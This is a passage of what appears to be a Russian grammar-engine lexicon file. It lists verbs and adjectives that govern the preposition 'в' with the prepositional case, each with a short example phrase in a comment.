первобытном состоянии rus_verbs:подстеречь{}, // подстеречь в подъезде rus_verbs:прикупить{}, // прикупить в магазине rus_verbs:перемешивать{}, // перемешивать в кастрюле rus_verbs:тискать{}, // тискать в углу rus_verbs:купать{}, // купать в теплой водичке rus_verbs:завариться{}, // завариться в стакане rus_verbs:притулиться{}, // притулиться в углу rus_verbs:пострелять{}, // пострелять в тире rus_verbs:навесить{}, // навесить в больнице инфинитив:изолировать{ вид:соверш }, инфинитив:изолировать{ вид:несоверш }, // изолировать в камере глагол:изолировать{ вид:соверш }, глагол:изолировать{ вид:несоверш }, rus_verbs:нежиться{}, // нежится в постельке rus_verbs:притомиться{}, // притомиться в школе rus_verbs:раздвоиться{}, // раздвоиться в глазах rus_verbs:навалить{}, // навалить в углу rus_verbs:замуровать{}, // замуровать в склепе rus_verbs:поселяться{}, // поселяться в кроне дуба rus_verbs:потягиваться{}, // потягиваться в кровати rus_verbs:укачать{}, // укачать в поезде rus_verbs:отлеживаться{}, // отлеживаться в гамаке rus_verbs:разменять{}, // разменять в кассе rus_verbs:прополоскать{}, // прополоскать в чистой теплой воде rus_verbs:ржаветь{}, // ржаветь в воде rus_verbs:уличить{}, // уличить в плагиате rus_verbs:мутиться{}, // мутиться в голове rus_verbs:растворять{}, // растворять в бензоле rus_verbs:двоиться{}, // двоиться в глазах rus_verbs:оговорить{}, // оговорить в договоре rus_verbs:подделать{}, // подделать в документе rus_verbs:зарегистрироваться{}, // зарегистрироваться в социальной сети rus_verbs:растолстеть{}, // растолстеть в талии rus_verbs:повоевать{}, // повоевать в городских условиях rus_verbs:прибраться{}, // гнушаться прибраться в хлеву rus_verbs:поглощаться{}, // поглощаться в металлической фольге rus_verbs:ухать{}, // ухать в лесу rus_verbs:подписываться{}, // подписываться в петиции rus_verbs:покатать{}, // покатать в машинке rus_verbs:излечиться{}, // излечиться в клинике rus_verbs:трепыхаться{}, // трепыхаться в мешке rus_verbs:кипятить{}, // кипятить в кастрюле rus_verbs:понастроить{}, // понастроить в прибрежной зоне rus_verbs:перебывать{}, // перебывать во всех европейских столицах rus_verbs:оглашать{}, // оглашать в итоговой части rus_verbs:преуспевать{}, // преуспевать в новом бизнесе rus_verbs:консультироваться{}, // консультироваться в техподдержке rus_verbs:накапливать{}, // накапливать в печени rus_verbs:перемешать{}, // перемешать в контейнере rus_verbs:наследить{}, // наследить в коридоре rus_verbs:выявиться{}, // выявиться в результе rus_verbs:забулькать{}, // забулькать в болоте rus_verbs:отваривать{}, // отваривать в молоке rus_verbs:запутываться{}, // запутываться в веревках rus_verbs:нагреться{}, // нагреться в микроволновой печке rus_verbs:рыбачить{}, // рыбачить в открытом море rus_verbs:укорениться{}, // укорениться в сознании широких народных масс rus_verbs:умывать{}, // умывать в тазике rus_verbs:защекотать{}, // защекотать в носу rus_verbs:заходиться{}, // заходиться в плаче инфинитив:искупать{ вид:соверш }, инфинитив:искупать{ вид:несоверш }, // искупать в прохладной водичке глагол:искупать{ вид:соверш }, глагол:искупать{ вид:несоверш }, деепричастие:искупав{}, деепричастие:искупая{}, rus_verbs:заморозить{}, // заморозить в холодильнике rus_verbs:закреплять{}, // закреплять в металлическом держателе rus_verbs:расхватать{}, // расхватать в магазине rus_verbs:истязать{}, // истязать в тюремном подвале rus_verbs:заржаветь{}, // заржаветь во влажной атмосфере rus_verbs:обжаривать{}, // обжаривать в подсолнечном масле rus_verbs:умереть{}, // Ты, подлый предатель, умрешь в нищете rus_verbs:подогреть{}, // подогрей в микроволновке rus_verbs:подогревать{}, rus_verbs:затянуть{}, // Кузнечики, сверчки, скрипачи и медведки затянули в траве свою трескучую музыку rus_verbs:проделать{}, // проделать в стене дыру инфинитив:жениться{ вид:соверш }, // жениться в Техасе инфинитив:жениться{ вид:несоверш }, глагол:жениться{ вид:соверш }, глагол:жениться{ вид:несоверш }, деепричастие:женившись{}, деепричастие:женясь{}, прилагательное:женатый{}, прилагательное:женившийся{вид:соверш}, прилагательное:женящийся{}, rus_verbs:всхрапнуть{}, // всхрапнуть во сне rus_verbs:всхрапывать{}, // всхрапывать во сне rus_verbs:ворочаться{}, // Собака ворочается во сне rus_verbs:воссоздаваться{}, // воссоздаваться в памяти rus_verbs:акклиматизироваться{}, // альпинисты готовятся акклиматизироваться в горах инфинитив:атаковать{ вид:несоверш }, // взвод был атакован в лесу инфинитив:атаковать{ вид:соверш }, глагол:атаковать{ вид:несоверш }, глагол:атаковать{ вид:соверш }, прилагательное:атакованный{}, прилагательное:атаковавший{}, прилагательное:атакующий{}, инфинитив:аккумулировать{вид:несоверш}, // энергия была аккумулирована в печени инфинитив:аккумулировать{вид:соверш}, глагол:аккумулировать{вид:несоверш}, глагол:аккумулировать{вид:соверш}, прилагательное:аккумулированный{}, прилагательное:аккумулирующий{}, //прилагательное:аккумулировавший{ вид:несоверш }, прилагательное:аккумулировавший{ вид:соверш }, rus_verbs:врисовывать{}, // врисовывать нового персонажа в анимацию rus_verbs:вырасти{}, // Он вырос в глазах коллег. rus_verbs:иметь{}, // Он всегда имел в резерве острое словцо. rus_verbs:убить{}, // убить в себе зверя инфинитив:абсорбироваться{ вид:соверш }, // жидкость абсорбируется в поглощающей ткани инфинитив:абсорбироваться{ вид:несоверш }, глагол:абсорбироваться{ вид:соверш }, глагол:абсорбироваться{ вид:несоверш }, rus_verbs:поставить{}, // поставить в углу rus_verbs:сжимать{}, // сжимать в кулаке rus_verbs:готовиться{}, // альпинисты готовятся акклиматизироваться в горах rus_verbs:аккумулироваться{}, // энергия аккумулируется в жировых отложениях инфинитив:активизироваться{ вид:несоверш }, // в горах активизировались повстанцы инфинитив:активизироваться{ вид:соверш }, глагол:активизироваться{ вид:несоверш }, глагол:активизироваться{ вид:соверш }, rus_verbs:апробировать{}, // пилот апробировал в ходе испытаний новый режим планера rus_verbs:арестовать{}, // наркодилер был арестован в помещении кафе rus_verbs:базировать{}, // установка будет базирована в лесу rus_verbs:барахтаться{}, // дети барахтались в воде rus_verbs:баррикадироваться{}, // преступники баррикадируются в помещении банка rus_verbs:барствовать{}, // Семен Семенович барствовал в своей деревне rus_verbs:бесчинствовать{}, // Боевики бесчинствовали в захваченном селе rus_verbs:блаженствовать{}, // Воробьи блаженствовали в кроне рябины rus_verbs:блуждать{}, // Туристы блуждали в лесу rus_verbs:брать{}, // Жена берет деньги в тумбочке rus_verbs:бродить{}, // парочки бродили в парке rus_verbs:обойти{}, // Бразилия обошла Россию в рейтинге rus_verbs:задержать{}, // Знаменитый советский фигурист задержан в США rus_verbs:бултыхаться{}, // Ноги бултыхаются в воде rus_verbs:вариться{}, // Курица варится в кастрюле rus_verbs:закончиться{}, // Эта рецессия закончилась в 2003 году rus_verbs:прокручиваться{}, // Ключ прокручивается в замке rus_verbs:прокрутиться{}, // Ключ трижды прокрутился в замке rus_verbs:храниться{}, // Настройки хранятся в текстовом файле rus_verbs:сохраняться{}, // Настройки сохраняются в текстовом файле rus_verbs:витать{}, // Мальчик витает в облаках rus_verbs:владычествовать{}, // Король владычествует в стране rus_verbs:властвовать{}, // Олигархи властвовали в стране rus_verbs:возбудить{}, // возбудить в сердце тоску rus_verbs:возбуждать{}, // возбуждать в сердце тоску rus_verbs:возвыситься{}, // возвыситься в глазах современников rus_verbs:возжечь{}, // возжечь в храме огонь rus_verbs:возжечься{}, // Огонь возжёгся в храме rus_verbs:возжигать{}, // возжигать в храме огонь rus_verbs:возжигаться{}, // Огонь возжигается в храме rus_verbs:вознамериваться{}, // вознамериваться уйти в монастырь rus_verbs:вознамериться{}, // вознамериться уйти в монастырь rus_verbs:возникать{}, // Новые идеи неожиданно возникают в колиной голове rus_verbs:возникнуть{}, // Новые идейки возникли в голове rus_verbs:возродиться{}, // возродиться в новом качестве rus_verbs:возрождать{}, // возрождать в новом качестве rus_verbs:возрождаться{}, // возрождаться в новом амплуа rus_verbs:ворошить{}, // ворошить в камине кочергой золу rus_verbs:воспевать{}, // Поэты воспевают героев в одах rus_verbs:воспеваться{}, // Герои воспеваются в одах поэтами rus_verbs:воспеть{}, // Поэты воспели в этой оде героев rus_verbs:воспретить{}, // воспретить в помещении азартные игры rus_verbs:восславить{}, // Поэты восславили в одах rus_verbs:восславлять{}, // Поэты восславляют в одах rus_verbs:восславляться{}, // Героя восславляются в одах rus_verbs:воссоздать{}, // воссоздает в памяти образ человека rus_verbs:воссоздавать{}, // воссоздать в памяти образ человека rus_verbs:воссоздаться{}, // воссоздаться в памяти rus_verbs:вскипятить{}, // вскипятить в чайнике воду rus_verbs:вскипятиться{}, // вскипятиться в чайнике rus_verbs:встретить{}, // встретить в классе старого приятеля rus_verbs:встретиться{}, // встретиться в классе rus_verbs:встречать{}, // встречать в лесу голодного медведя rus_verbs:встречаться{}, // встречаться в кафе rus_verbs:выбривать{}, // выбривать что-то в подмышках rus_verbs:выбрить{}, // выбрить что-то в паху rus_verbs:вывалять{}, // вывалять кого-то в грязи rus_verbs:вываляться{}, // вываляться в грязи rus_verbs:вываривать{}, // вываривать в молоке rus_verbs:вывариваться{}, // вывариваться в молоке rus_verbs:выварить{}, // выварить в молоке rus_verbs:вывариться{}, // вывариться в молоке rus_verbs:выгрызать{}, // выгрызать в сыре отверствие rus_verbs:выгрызть{}, // выгрызть в сыре отверстие rus_verbs:выгуливать{}, // выгуливать в парке собаку rus_verbs:выгулять{}, // выгулять в парке собаку rus_verbs:выдолбить{}, // выдолбить в стволе углубление rus_verbs:выжить{}, // выжить в пустыне rus_verbs:Выискать{}, // Выискать в программе ошибку rus_verbs:выискаться{}, // Ошибка выискалась в программе rus_verbs:выискивать{}, // выискивать в программе ошибку rus_verbs:выискиваться{}, // выискиваться в программе rus_verbs:выкраивать{}, // выкраивать в расписании время rus_verbs:выкраиваться{}, // выкраиваться в расписании инфинитив:выкупаться{aux stress="в^ыкупаться"}, // выкупаться в озере глагол:выкупаться{вид:соверш}, rus_verbs:выловить{}, // выловить в пруду rus_verbs:вымачивать{}, // вымачивать в молоке rus_verbs:вымачиваться{}, // вымачиваться в молоке rus_verbs:вынюхивать{}, // вынюхивать в траве следы rus_verbs:выпачкать{}, // выпачкать в смоле свою одежду rus_verbs:выпачкаться{}, // выпачкаться в грязи rus_verbs:вырастить{}, // вырастить в теплице ведро огурчиков rus_verbs:выращивать{}, // выращивать в теплице помидоры rus_verbs:выращиваться{}, // выращиваться в теплице rus_verbs:вырыть{}, // вырыть в земле глубокую яму rus_verbs:высадить{}, // высадить в пустынной местности rus_verbs:высадиться{}, // высадиться в пустынной местности rus_verbs:высаживать{}, // высаживать в пустыне rus_verbs:высверливать{}, // высверливать в доске отверствие rus_verbs:высверливаться{}, // высверливаться в стене rus_verbs:высверлить{}, // высверлить в стене отверствие rus_verbs:высверлиться{}, // высверлиться в стене rus_verbs:выскоблить{}, // выскоблить в столешнице канавку rus_verbs:высматривать{}, // высматривать в темноте rus_verbs:заметить{}, // заметить в помещении rus_verbs:оказаться{}, // оказаться в первых рядах rus_verbs:душить{}, // душить в объятиях rus_verbs:оставаться{}, // оставаться в классе rus_verbs:появиться{}, // впервые появиться в фильме rus_verbs:лежать{}, // лежать в футляре rus_verbs:раздаться{}, // раздаться в плечах rus_verbs:ждать{}, // ждать в здании вокзала rus_verbs:жить{}, // жить в трущобах rus_verbs:постелить{}, // постелить в прихожей rus_verbs:оказываться{}, // оказываться в неприятной ситуации rus_verbs:держать{}, // держать в голове rus_verbs:обнаружить{}, // обнаружить в себе способность rus_verbs:начинать{}, // начинать в лаборатории rus_verbs:рассказывать{}, // рассказывать в лицах rus_verbs:ожидать{}, // ожидать в помещении rus_verbs:продолжить{}, // продолжить в помещении rus_verbs:состоять{}, // состоять в группе rus_verbs:родиться{}, // родиться в рубашке rus_verbs:искать{}, // искать в кармане rus_verbs:иметься{}, // иметься в наличии rus_verbs:говориться{}, // говориться в среде панков rus_verbs:клясться{}, // клясться в верности rus_verbs:узнавать{}, // узнавать в нем своего сына rus_verbs:признаться{}, // признаться в ошибке rus_verbs:сомневаться{}, // сомневаться в искренности rus_verbs:толочь{}, // толочь в ступе rus_verbs:понадобиться{}, // понадобиться в суде rus_verbs:служить{}, // служить в пехоте rus_verbs:потолочь{}, // потолочь в ступе rus_verbs:появляться{}, // появляться в театре rus_verbs:сжать{}, // сжать в объятиях rus_verbs:действовать{}, // действовать в постановке rus_verbs:селить{}, // селить в гостинице rus_verbs:поймать{}, // поймать в лесу rus_verbs:увидать{}, // увидать в толпе rus_verbs:подождать{}, // подождать в кабинете rus_verbs:прочесть{}, // прочесть в глазах rus_verbs:тонуть{}, // тонуть в реке rus_verbs:ощущать{}, // ощущать в животе rus_verbs:ошибиться{}, // ошибиться в расчетах rus_verbs:отметить{}, // отметить в списке rus_verbs:показывать{}, // показывать в динамике rus_verbs:скрыться{}, // скрыться в траве rus_verbs:убедиться{}, // убедиться в корректности rus_verbs:прозвучать{}, // прозвучать в наушниках rus_verbs:разговаривать{}, // разговаривать в фойе rus_verbs:издать{}, // издать в России rus_verbs:прочитать{}, // прочитать в газете rus_verbs:попробовать{}, // попробовать в деле rus_verbs:замечать{}, // замечать в программе ошибку rus_verbs:нести{}, // нести в руках rus_verbs:пропасть{}, // пропасть в плену rus_verbs:носить{}, // носить в кармане rus_verbs:гореть{}, // гореть в аду rus_verbs:поправить{}, // поправить в программе rus_verbs:застыть{}, // застыть в неудобной позе rus_verbs:получать{}, // получать в кассе rus_verbs:потребоваться{}, // потребоваться в работе rus_verbs:спрятать{}, // спрятать в шкафу rus_verbs:учиться{}, // учиться в институте rus_verbs:развернуться{}, // развернуться в коридоре rus_verbs:подозревать{}, // подозревать в мошенничестве rus_verbs:играть{}, // играть в команде rus_verbs:сыграть{}, // сыграть в команде rus_verbs:строить{}, // строить в деревне rus_verbs:устроить{}, // устроить в доме вечеринку rus_verbs:находить{}, // находить в лесу rus_verbs:нуждаться{}, // нуждаться в деньгах rus_verbs:испытать{}, // испытать в рабочей обстановке rus_verbs:мелькнуть{}, // мелькнуть в прицеле rus_verbs:очутиться{}, // очутиться в закрытом помещении инфинитив:использовать{вид:соверш}, // использовать в работе инфинитив:использовать{вид:несоверш}, глагол:использовать{вид:несоверш}, глагол:использовать{вид:соверш}, rus_verbs:лететь{}, // лететь в самолете rus_verbs:смеяться{}, // смеяться в цирке rus_verbs:ездить{}, // ездить в лимузине rus_verbs:заснуть{}, // заснуть в неудобной позе rus_verbs:застать{}, // застать в неформальной обстановке rus_verbs:очнуться{}, // очнуться в незнакомой обстановке rus_verbs:твориться{}, // Что творится в закрытой зоне rus_verbs:разглядеть{}, // разглядеть в темноте rus_verbs:изучать{}, // изучать в естественных условиях rus_verbs:удержаться{}, // удержаться в седле rus_verbs:побывать{}, // побывать в зоопарке rus_verbs:уловить{}, // уловить в словах нотку отчаяния rus_verbs:приобрести{}, // приобрести в лавке rus_verbs:исчезать{}, // исчезать в тумане rus_verbs:уверять{}, // уверять в своей невиновности rus_verbs:продолжаться{}, // продолжаться в воздухе rus_verbs:открывать{}, // открывать в городе новый стадион rus_verbs:поддержать{}, // поддержать в парке порядок rus_verbs:солить{}, // солить в бочке rus_verbs:прожить{}, // прожить в деревне rus_verbs:создавать{}, // создавать в театре rus_verbs:обсуждать{}, // обсуждать в коллективе rus_verbs:заказать{}, // заказать в магазине rus_verbs:отыскать{}, // отыскать в гараже rus_verbs:уснуть{}, // уснуть в кресле rus_verbs:задержаться{}, // задержаться в театре rus_verbs:подобрать{}, // подобрать в коллекции rus_verbs:пробовать{}, // пробовать в работе rus_verbs:курить{}, // курить в закрытом помещении rus_verbs:устраивать{}, // устраивать в лесу засаду rus_verbs:установить{}, // установить в багажнике rus_verbs:запереть{}, // запереть в сарае rus_verbs:содержать{}, // содержать в достатке rus_verbs:синеть{}, // синеть в кислородной атмосфере rus_verbs:слышаться{}, // слышаться в голосе rus_verbs:закрыться{}, // закрыться в здании rus_verbs:скрываться{}, // скрываться в квартире rus_verbs:родить{}, // родить в больнице rus_verbs:описать{}, // описать в заметках rus_verbs:перехватить{}, // перехватить в коридоре rus_verbs:менять{}, // менять в магазине rus_verbs:скрывать{}, // скрывать в чужой квартире rus_verbs:стиснуть{}, // стиснуть в стальных объятиях rus_verbs:останавливаться{}, // останавливаться в гостинице rus_verbs:мелькать{}, // мелькать в телевизоре rus_verbs:присутствовать{}, // присутствовать в аудитории rus_verbs:украсть{}, // украсть в магазине rus_verbs:победить{}, // победить в войне rus_verbs:расположиться{}, // расположиться в гостинице rus_verbs:упомянуть{}, // упомянуть в своей книге rus_verbs:плыть{}, // плыть в старой бочке rus_verbs:нащупать{}, // нащупать в глубине rus_verbs:проявляться{}, // проявляться в работе rus_verbs:затихнуть{}, // затихнуть в норе rus_verbs:построить{}, // построить в гараже rus_verbs:поддерживать{}, // поддерживать в исправном состоянии rus_verbs:заработать{}, // заработать в стартапе rus_verbs:сломать{}, // сломать в суставе rus_verbs:снимать{}, // снимать в гардеробе rus_verbs:сохранить{}, // сохранить в коллекции rus_verbs:располагаться{}, // располагаться в отдельном кабинете rus_verbs:сражаться{}, // сражаться в честном бою rus_verbs:спускаться{}, // спускаться в батискафе rus_verbs:уничтожить{}, // уничтожить в схроне rus_verbs:изучить{}, // изучить в естественных условиях rus_verbs:рождаться{}, // рождаться в муках rus_verbs:пребывать{}, // пребывать в прострации rus_verbs:прилететь{}, // прилететь в аэробусе rus_verbs:догнать{}, // догнать в переулке rus_verbs:изобразить{}, // изобразить в танце rus_verbs:проехать{}, // проехать в легковушке rus_verbs:убедить{}, // убедить в разумности rus_verbs:приготовить{}, // приготовить в духовке rus_verbs:собирать{}, // собирать в лесу rus_verbs:поплыть{}, // поплыть в катере rus_verbs:доверять{}, // доверять в управлении rus_verbs:разобраться{}, // разобраться в законах rus_verbs:ловить{}, // ловить в озере rus_verbs:проесть{}, // проесть в куске металла отверстие rus_verbs:спрятаться{}, // спрятаться в подвале rus_verbs:провозгласить{}, // провозгласить в речи rus_verbs:изложить{}, // изложить в своём выступлении rus_verbs:замяться{}, // замяться в коридоре rus_verbs:раздаваться{}, // Крик ягуара раздается в джунглях rus_verbs:доказать{}, // Автор доказал в своей работе, что теорема верна rus_verbs:хранить{}, // хранить в шкатулке rus_verbs:шутить{}, // шутить в классе глагол:рассыпаться{ aux stress="рассып^аться" }, // рассыпаться в извинениях инфинитив:рассыпаться{ aux stress="рассып^аться" }, rus_verbs:чертить{}, // чертить в тетрадке rus_verbs:отразиться{}, // отразиться в аттестате rus_verbs:греть{}, // греть в микроволновке rus_verbs:зарычать{}, // Кто-то зарычал в глубине леса rus_verbs:рассуждать{}, // Автор рассуждает в своей статье rus_verbs:освободить{}, // Обвиняемые были освобождены в зале суда rus_verbs:окружать{}, // окружать в лесу rus_verbs:сопровождать{}, // сопровождать в операции rus_verbs:заканчиваться{}, // заканчиваться в дороге rus_verbs:поселиться{}, // поселиться в загородном доме rus_verbs:охватывать{}, // охватывать в хронологии rus_verbs:запеть{}, // запеть в кино инфинитив:провозить{вид:несоверш}, // провозить в багаже глагол:провозить{вид:несоверш}, rus_verbs:мочить{}, // мочить в сортире rus_verbs:перевернуться{}, // перевернуться в полёте rus_verbs:улететь{}, // улететь в теплые края rus_verbs:сдержать{}, // сдержать в руках rus_verbs:преследовать{}, // преследовать в любой другой стране rus_verbs:драться{}, // драться в баре rus_verbs:просидеть{}, // просидеть в классе rus_verbs:убираться{}, // убираться в квартире rus_verbs:содрогнуться{}, // содрогнуться в приступе отвращения rus_verbs:пугать{}, // пугать в прессе rus_verbs:отреагировать{}, // отреагировать в прессе rus_verbs:проверять{}, // проверять в аппарате rus_verbs:убеждать{}, // убеждать в отсутствии альтернатив rus_verbs:летать{}, // летать в комфортабельном частном самолёте rus_verbs:толпиться{}, // толпиться в фойе rus_verbs:плавать{}, // плавать в специальном костюме rus_verbs:пробыть{}, // пробыть в воде слишком долго rus_verbs:прикинуть{}, // прикинуть в уме rus_verbs:застрять{}, // застрять в лифте rus_verbs:метаться{}, // метаться в кровате rus_verbs:сжечь{}, // сжечь в печке rus_verbs:расслабиться{}, // расслабиться в ванной rus_verbs:услыхать{}, // услыхать в автобусе rus_verbs:удержать{}, // удержать в вертикальном положении rus_verbs:образоваться{}, // образоваться в верхних слоях атмосферы rus_verbs:рассмотреть{}, // рассмотреть в капле воды rus_verbs:просмотреть{}, // просмотреть в браузере rus_verbs:учесть{}, // учесть в планах rus_verbs:уезжать{}, // уезжать в чьей-то машине rus_verbs:похоронить{}, // похоронить в мерзлой земле rus_verbs:растянуться{}, // растянуться в расслабленной позе rus_verbs:обнаружиться{}, // обнаружиться в чужой сумке rus_verbs:гулять{}, // гулять в парке rus_verbs:утонуть{}, // утонуть в реке rus_verbs:зажать{}, // зажать в медвежьих объятиях rus_verbs:усомниться{}, // усомниться в объективности rus_verbs:танцевать{}, // танцевать в спортзале rus_verbs:проноситься{}, // проноситься в голове rus_verbs:трудиться{}, // трудиться в кооперативе глагол:засыпать{ aux stress="засып^ать" переходность:непереходный }, // засыпать в спальном мешке инфинитив:засыпать{ aux stress="засып^ать" переходность:непереходный }, rus_verbs:сушить{}, // сушить в сушильном шкафу rus_verbs:зашевелиться{}, // зашевелиться в траве rus_verbs:обдумывать{}, // обдумывать в спокойной обстановке rus_verbs:промелькнуть{}, // промелькнуть в окне rus_verbs:поучаствовать{}, // поучаствовать в обсуждении rus_verbs:закрыть{}, // закрыть в комнате rus_verbs:запирать{}, // запирать в комнате rus_verbs:закрывать{}, // закрывать в доме rus_verbs:заблокировать{}, // заблокировать в доме rus_verbs:зацвести{}, // В садах зацвела сирень rus_verbs:кричать{}, // Какое-то животное кричало в ночном лесу. rus_verbs:поглотить{}, // фотон, поглощенный в рецепторе rus_verbs:стоять{}, // войска, стоявшие в Риме rus_verbs:закалить{}, // ветераны, закаленные в боях rus_verbs:выступать{}, // пришлось выступать в тюрьме. rus_verbs:выступить{}, // пришлось выступить в тюрьме. rus_verbs:закопошиться{}, // Мыши закопошились в траве rus_verbs:воспламениться{}, // смесь, воспламенившаяся в цилиндре rus_verbs:воспламеняться{}, // смесь, воспламеняющаяся в цилиндре rus_verbs:закрываться{}, // закрываться в комнате rus_verbs:провалиться{}, // провалиться в прокате деепричастие:авторизируясь{ вид:несоверш }, глагол:авторизироваться{ вид:несоверш }, инфинитив:авторизироваться{ вид:несоверш }, // авторизироваться в системе rus_verbs:существовать{}, // существовать в вакууме деепричастие:находясь{}, прилагательное:находившийся{}, прилагательное:находящийся{}, глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, // находиться в вакууме rus_verbs:регистрировать{}, // регистрировать в инспекции глагол:перерегистрировать{ вид:несоверш }, глагол:перерегистрировать{ вид:соверш }, инфинитив:перерегистрировать{ вид:несоверш }, инфинитив:перерегистрировать{ вид:соверш }, // перерегистрировать в инспекции rus_verbs:поковыряться{}, // поковыряться в носу rus_verbs:оттаять{}, // оттаять в кипятке rus_verbs:распинаться{}, // распинаться в проклятиях rus_verbs:отменить{}, // Министерство связи предлагает отменить внутренний роуминг в России rus_verbs:столкнуться{}, // Американский эсминец и японский танкер столкнулись в Персидском заливе rus_verbs:ценить{}, // Он очень ценил в статьях краткость изложения. прилагательное:несчастный{}, // Он очень несчастен в семейной жизни. rus_verbs:объясниться{}, // Он объяснился в любви. прилагательное:нетвердый{}, // Он нетвёрд в истории. rus_verbs:заниматься{}, // Он занимается в читальном зале. rus_verbs:вращаться{}, // Он вращается в учёных кругах. прилагательное:спокойный{}, // Он был спокоен и уверен в завтрашнем дне. rus_verbs:бегать{}, // Он бегал по городу в поисках квартиры. rus_verbs:заключать{}, // Письмо заключало в себе очень важные сведения. rus_verbs:срабатывать{}, // Алгоритм срабатывает в половине случаев. rus_verbs:специализироваться{}, // мы специализируемся в создании ядерного оружия rus_verbs:сравниться{}, // Никто не может сравниться с ним в знаниях. rus_verbs:продолжать{}, // Продолжайте в том же духе. rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц. rus_verbs:болтать{}, // Не болтай в присутствии начальника! rus_verbs:проболтаться{}, // Не проболтайся в присутствии начальника! rus_verbs:повторить{}, // Он должен повторить свои показания в присутствии свидетелей rus_verbs:получить{}, // ректор поздравил студентов, получивших в этом семестре повышенную стипендию rus_verbs:приобретать{}, // Эту еду мы приобретаем в соседнем магазине. rus_verbs:расходиться{}, // Маша и Петя расходятся во взглядах rus_verbs:сходиться{}, // Все дороги сходятся в Москве rus_verbs:убирать{}, // убирать в комнате rus_verbs:удостоверяться{}, // он удостоверяется в личности специалиста rus_verbs:уединяться{}, // уединяться в пустыне rus_verbs:уживаться{}, // уживаться в одном коллективе rus_verbs:укорять{}, // укорять друга в забывчивости rus_verbs:читать{}, // он читал об этом в журнале rus_verbs:состояться{}, // В Израиле состоятся досрочные парламентские выборы rus_verbs:погибнуть{}, // Список погибших в авиакатастрофе под Ярославлем rus_verbs:работать{}, // Я работаю в театре. rus_verbs:признать{}, // Я признал в нём старого друга. rus_verbs:преподавать{}, // Я преподаю в университете. rus_verbs:понимать{}, // Я плохо понимаю в живописи. rus_verbs:водиться{}, // неизвестный науке зверь, который водится в жарких тропических лесах rus_verbs:разразиться{}, // В Москве разразилась эпидемия гриппа rus_verbs:замереть{}, // вся толпа замерла в восхищении rus_verbs:сидеть{}, // Я люблю сидеть в этом удобном кресле. rus_verbs:идти{}, // Я иду в неопределённом направлении. rus_verbs:заболеть{}, // Я заболел в дороге. rus_verbs:ехать{}, // Я еду в автобусе rus_verbs:взять{}, // Я взял книгу в библиотеке на неделю. rus_verbs:провести{}, // Юные годы он провёл в Италии. rus_verbs:вставать{}, // Этот случай живо встаёт в моей памяти. rus_verbs:возвысить{}, // Это событие возвысило его в общественном мнении. rus_verbs:произойти{}, // Это произошло в одном городе в Японии. rus_verbs:привидеться{}, // Это мне привиделось во сне. rus_verbs:держаться{}, // Это дело держится в большом секрете. rus_verbs:привиться{}, // Это выражение не привилось в русском языке. rus_verbs:восстановиться{}, // Эти писатели восстановились в правах. rus_verbs:быть{}, // Эта книга есть в любом книжном магазине. прилагательное:популярный{}, // Эта идея очень популярна в массах. rus_verbs:шуметь{}, // Шумит в голове. rus_verbs:остаться{}, // Шляпа осталась в поезде. rus_verbs:выражаться{}, // Характер писателя лучше всего выражается в его произведениях. rus_verbs:воспитать{}, // Учительница воспитала в детях любовь к природе. rus_verbs:пересохнуть{}, // У меня в горле пересохло. rus_verbs:щекотать{}, // У меня в горле щекочет. rus_verbs:колоть{}, // У меня в боку колет. прилагательное:свежий{}, // Событие ещё свежо в памяти. rus_verbs:собрать{}, // Соберите всех учеников во дворе. rus_verbs:белеть{}, // Снег белеет в горах. rus_verbs:сделать{}, // Сколько орфографических ошибок ты сделал в диктанте? rus_verbs:таять{}, // Сахар тает в кипятке. rus_verbs:жать{}, // Сапог жмёт в подъёме. rus_verbs:возиться{}, // Ребята возятся в углу. rus_verbs:распоряжаться{}, // Прошу не распоряжаться в чужом доме. rus_verbs:кружиться{}, // Они кружились в вальсе. rus_verbs:выставлять{}, // Они выставляют его в смешном виде. rus_verbs:бывать{}, // Она часто бывает в обществе. rus_verbs:петь{}, // Она поёт в опере. rus_verbs:сойтись{}, // Все свидетели сошлись в своих показаниях. rus_verbs:валяться{}, // Вещи валялись в беспорядке. rus_verbs:пройти{}, // Весь день прошёл в беготне. rus_verbs:продавать{}, // В этом магазине продают обувь. rus_verbs:заключаться{}, // В этом заключается вся сущность. rus_verbs:звенеть{}, // В ушах звенит. rus_verbs:проступить{}, // В тумане проступили очертания корабля. rus_verbs:бить{}, // В саду бьёт фонтан. rus_verbs:проскользнуть{}, // В речи проскользнул упрёк. rus_verbs:оставить{}, // Не оставь товарища в опасности. rus_verbs:прогулять{}, // Мы прогуляли час в парке. rus_verbs:перебить{}, // Мы перебили врагов в бою. rus_verbs:остановиться{}, // Мы остановились в первой попавшейся гостинице. rus_verbs:видеть{}, // Он многое видел в жизни. // глагол:проходить{ вид:несоверш }, // Беседа проходила в дружественной атмосфере. rus_verbs:подать{}, // Автор подал своих героев в реалистических тонах. rus_verbs:кинуть{}, // Он кинул меня в беде. rus_verbs:приходить{}, // Приходи в сентябре rus_verbs:воскрешать{}, // воскрешать в памяти rus_verbs:соединять{}, // соединять в себе rus_verbs:разбираться{}, // умение разбираться в вещах rus_verbs:делать{}, // В её комнате делали обыск. rus_verbs:воцариться{}, // В зале воцарилась глубокая тишина. rus_verbs:начаться{}, // В деревне начались полевые работы. rus_verbs:блеснуть{}, // В голове блеснула хорошая мысль. rus_verbs:вертеться{}, // В голове вертится вчерашний разговор. rus_verbs:веять{}, // В воздухе веет прохладой. rus_verbs:висеть{}, // В воздухе висит зной. rus_verbs:носиться{}, // В воздухе носятся комары. rus_verbs:грести{}, // Грести в спокойной воде будет немного легче, но скучнее rus_verbs:воскресить{}, // воскресить в памяти rus_verbs:поплавать{}, // поплавать в 100-метровом бассейне rus_verbs:пострадать{}, // В массовой драке пострадал 23-летний мужчина прилагательное:уверенный{ причастие }, // Она уверена в своих силах. прилагательное:постоянный{}, // Она постоянна во вкусах. прилагательное:сильный{}, // Он не силён в математике. прилагательное:повинный{}, // Он не повинен в этом. прилагательное:возможный{}, // Ураганы, сильные грозы и даже смерчи возможны в конце периода сильной жары rus_verbs:вывести{}, // способный летать над землей крокодил был выведен в секретной лаборатории прилагательное:нужный{}, // сковородка тоже нужна в хозяйстве. rus_verbs:сесть{}, // Она села в тени rus_verbs:заливаться{}, // в нашем парке заливаются соловьи rus_verbs:разнести{}, // В лесу огонь пожара мгновенно разнесло rus_verbs:чувствоваться{}, // В тёплом, но сыром воздухе остро чувствовалось дыхание осени // rus_verbs:расти{}, // дерево, растущее в лесу rus_verbs:происходить{}, // что происходит в поликлиннике 